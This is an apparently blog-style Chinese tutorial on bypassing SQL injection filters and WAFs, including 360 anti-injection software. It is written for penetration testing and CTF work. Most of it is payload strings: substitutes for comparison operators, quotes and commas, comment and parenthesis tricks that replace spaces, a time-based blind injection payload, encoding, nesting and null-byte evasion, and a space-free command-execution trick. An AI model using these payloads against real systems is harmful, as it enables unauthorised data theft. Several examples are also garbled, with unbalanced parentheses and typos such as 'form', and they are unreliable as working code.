1 前言
SQL注入绕过的技巧要看具体的环境,可以自己搭建测试,最好是在渗透测试的过程中遇到的环境,否则若仅靠自己凭空想,显然是不靠谱的。这篇文章我会总结一些之前遇到的绕过奇淫技巧,随着自己的见识和能力增强,相信自己总结的方法也会增多。
2 比较符(<,>)绕过
在测试盲注时,使用二分查找的时候需要使用到比较操作符来进行查找,若无法使用比较操作符可以使用到greatest来进行绕过。常见的盲注语句如下:
select * from users where id=1 and ascii(substr(database(),0,1))>72
若比较操作符被过滤掉,其盲注语句即无法正常使用,则可以使用greatest来代替比较操作符greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。
我们可以利用greatest进行上面盲注测试:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)=72
总结:利用greatest()函数绕过比较操作符
3 引号绕过
在进行sql语句测试时在限定的where子句中会使用到引号””,看具体的代码:
select 1,group_concat(column_name),3 from information_schema.columns where table_name=”users”
如果引号被过滤掉,那么上面的where语句则无法使用,遇到这样的问题我们可以使用十六进制来处理这个问题,users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
-总结:使用十六进制可以绕过引号
4 逗号的绕过
在测试盲注的的时候,会利用到substr(),mid(),limit(),这些子句的方法都需要使用到逗号,对于substr()和mid()这两个方法可以使用from for 的方法来解决
select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);
对于limit可以使用offset来绕过
select * form news limit 0,1;
#等价下面的sql语句
select * from news limit 1 offset 0;
总结:使用from绕过逗号
5 注释,括号,%a0绕过空格
sql注入时,空格的使用是非常普遍的,比如利用union来获得目标的数据
and 0 union select null,null,null
#上面语句中,and两侧,union两侧,select两侧都需要空格
####注释绕过空格/注释/
select user() from info;
#########利用注释替换空格,就可以变成
select//user()//from/**/info
或者:
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/1,2,3,4,5,5 from admin
第二种注释:/*!and*/ 1=2
####括号绕过空格
在mysql中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端可以没有多余的空格。括号绕过空格的方法,在基于时间的盲注时,是屡试不爽
select user() from info where 1=1 and 2=2
如何把括号减到最少?,观察user()可以算值,故user()两边要加括号,变成:
select(user())from info where 1=1 and 2=2;
继续,1=1和2=2可以算值,也加括号,去空格,变成:
select(user())from info where(1=1)and(2=2);
info两边的空格,通常是由程序员自己添加,我们一般无法控制,所以上面就是空格最少的的结果
在以一条time base盲注语句做一个总结:
?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
6 绕waf测试套路
尤其在做CTF比赛时,存在waf最令人头疼,语句的正常注射也是尤为关键,我们这时候可以尝试特殊字符的情况,特殊字符有
- !@#$%^&*()_-+<>?/|~
若在测试的时候某一个字符被替换为空,我们可以得出结论,此字符可以被正常的接受,然后就是用这个字符和语句结合来绕过waf
7 绕过waf 360等防注入软件
A 大小写变种
使用起来最简单,效果现在来说不是太显著,比如:and 1=2 AnD 1=3;
B 使用URL编码
正常编码'为%27 /=%2f %=%25 *==%2a /**/==%252f%252a*/
C 利用嵌套剥离
有些过滤器会从用户的输入中进行剥离一些敏感的函数,故可以通过函数的嵌套进行绕过一次剥离;
selselectect 剥离后为select
D 使用空字节
一些过滤器在处理输入时,若碰到孔子姐就会听之处理,故通常可以利用空字节绕过过滤器。id=1%00 and 1=2
E 避开自定义的过滤器
一些过滤器所过滤的字符串都是事先写入写好的,故只要我们输入的语法和她们过滤的不匹配即可绕过。and 转换为 a+nd a%nd 'a'nd %A0and
8 命令执行时过滤了空格
若命令执行时过滤了空格,则可以利用<>来绕过,比如php<"/tmp/code.php">"/tmp/result.txt"
,这条命令里没有空格,会执行code.php里面的代码并且输出重定向到result.txtx里面,还有注意的是,在做命令执行时,很可能命令无法列出所有的文件,可以去php里面找相关的函数来列文件,链接